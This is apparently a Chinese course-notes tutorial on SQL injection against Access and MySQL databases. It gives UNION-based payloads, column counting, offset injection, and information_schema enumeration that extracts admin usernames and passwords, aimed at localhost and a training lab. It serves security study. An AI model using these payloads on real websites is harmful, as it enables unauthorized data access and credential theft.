本文主要是介绍第24天:WEB攻防-通用漏洞SQL注入MYSQL跨库ACCESS偏移,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
access注入基本流程
access数据库结构
access数据库类型判断
access数据库注入可分为两种注入方法
联合查询法
(1) order by 语句查字段
2,union select查询表
猜关键表名:
通过偏移注入获取字段名及值
Mysql数据库注入
access注入基本流程
1.判断有无注入
2.猜解表名
3.猜解字段
access数据库结构
表名---->列名---->内容数据 不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、
而access的话只有若干张表。
access数据库类型判断
根据url文件后缀初步判断,一般asp和access数据库连用,通过and (select count(*) from msysobjects)>0判断是否为access,如果返回错误页面证明数据库为access。
msysobjects是access数据库的系统表之一,access数据库共有三个系统表,分别为msysobjects 、msysqueries、msysrelationships,这三个系统表在web环境下是没有访问权 限的,因此可以通过错误回显来判断access数据库
access数据库注入可分为两种注入方法,一种为联合查询法,一种为逐字猜解法,都是属于SQL的语句。那先来说下联合查询法吧
access数据库注入可分为两种注入方法
联合查询法
(1) order by 语句查字段
?id=1 order by N(通过遍历N的值,当页面报错时,字段数为N-1)
列如:
输入:?id=5 order by 11页面正常 输入:?id=5 order by 12页面报错 , 说明有11列
union select查询表
通过列数猜解
url就是 127.0.0.1/1.asp?id=-1 union select 1,2,3,4,5 ,6,7,8,9,10,11 from admin
table_name 可以通过猜,
猜关键表名:
127.0.0.1/1.asp?id=1 and exists(select count(*) from admin)正常输出页面说明有admin表,也可以使用字典爆破
当上一步完成成功后,获取到了表名,url就变成了127.0.0.1/1.asp?id=-1 union select 1,2,3,4,5 from admin admin是获取的表名
列如: 出现了回显点 22,33
猜解关键字段名并获取关键字段的数据:
?id=5 union select 11,username,password,44,55,66,77,88,91,111,222 from admin
其中 表名都是要靠字典去猜的,逐步爆出数据库相关信息
通过偏移注入获取字段名及值
22个字段
到16后才正确,所以*代表6
二级偏移:payload构造 ,选择偏移语句在 22-(6*6)后,爆出数据
还未爆出想要的数据 再-6 使用三级偏移语句
Mysql数据库注入
判断是否存在注入点:
id =1 ' and '1' ='1
最常见加 ' 报错 and 1=1 or 1=1 or 1=2 判断回显是否变化(后期注入需要考虑闭合)
1,判断字段个数 使用 order by x 错误回显来知道字段数;
127.0.0.1/1.php?id=1 order by 5 回显正常
127.0.0.1/1.php?id=1 order by 6 回显不正常 报错
判断该表中字段数为5
构造payload 127.0.0.1/1.php?id=-1 union select 1,2,3,4,5 判断回显点
其中 2,3为回显点
在构造payload 127.0.0.1/1.php?id=-1 union select 1,database(),user(),4,5
获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()-5.5.532
information_schema --5.0以上版本才有 现在 大部分都是了
2、数据库用户-看是否符合ROOT型注入攻击-user()-root@localhost
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os-win
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()-syguestbook
127.0.0.1/1.php?id=-1 union select 1,2,3,4,databases from information_schema.schema //查询所有数据库
127.0.0.1/1.php?id=-1 union select 1,2,3,4,table_name from information_schema.tables where table_schema='test' //查询test下的表名
127.0.0.1/1.php?id=-1 union select 1,2,3,4,column_name from information_schema.columns where table_schema='test' and table_name='test1' //查询test数据库下test1表中的所有字段
127.0.0.1/1.php?id=-1 union select 1,2,3,id,pass from test.test1
//查询test数据库中test1表的id值和pass值
常用语法:
爆出所有数据库
union select 1,group_concat(schema_name),3 from information_schema.schemata
获取特定数据库表名
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu'
获取特定数据库特定表列数据
union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'
查询user的数据,根据实际来变化里面的内容
union select 1,username,password from pikachu.users
获取syguestbook数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'
获取表名sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
爆出2 5 4 填入
这篇关于第24天:WEB攻防-通用漏洞SQL注入MYSQL跨库ACCESS偏移的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!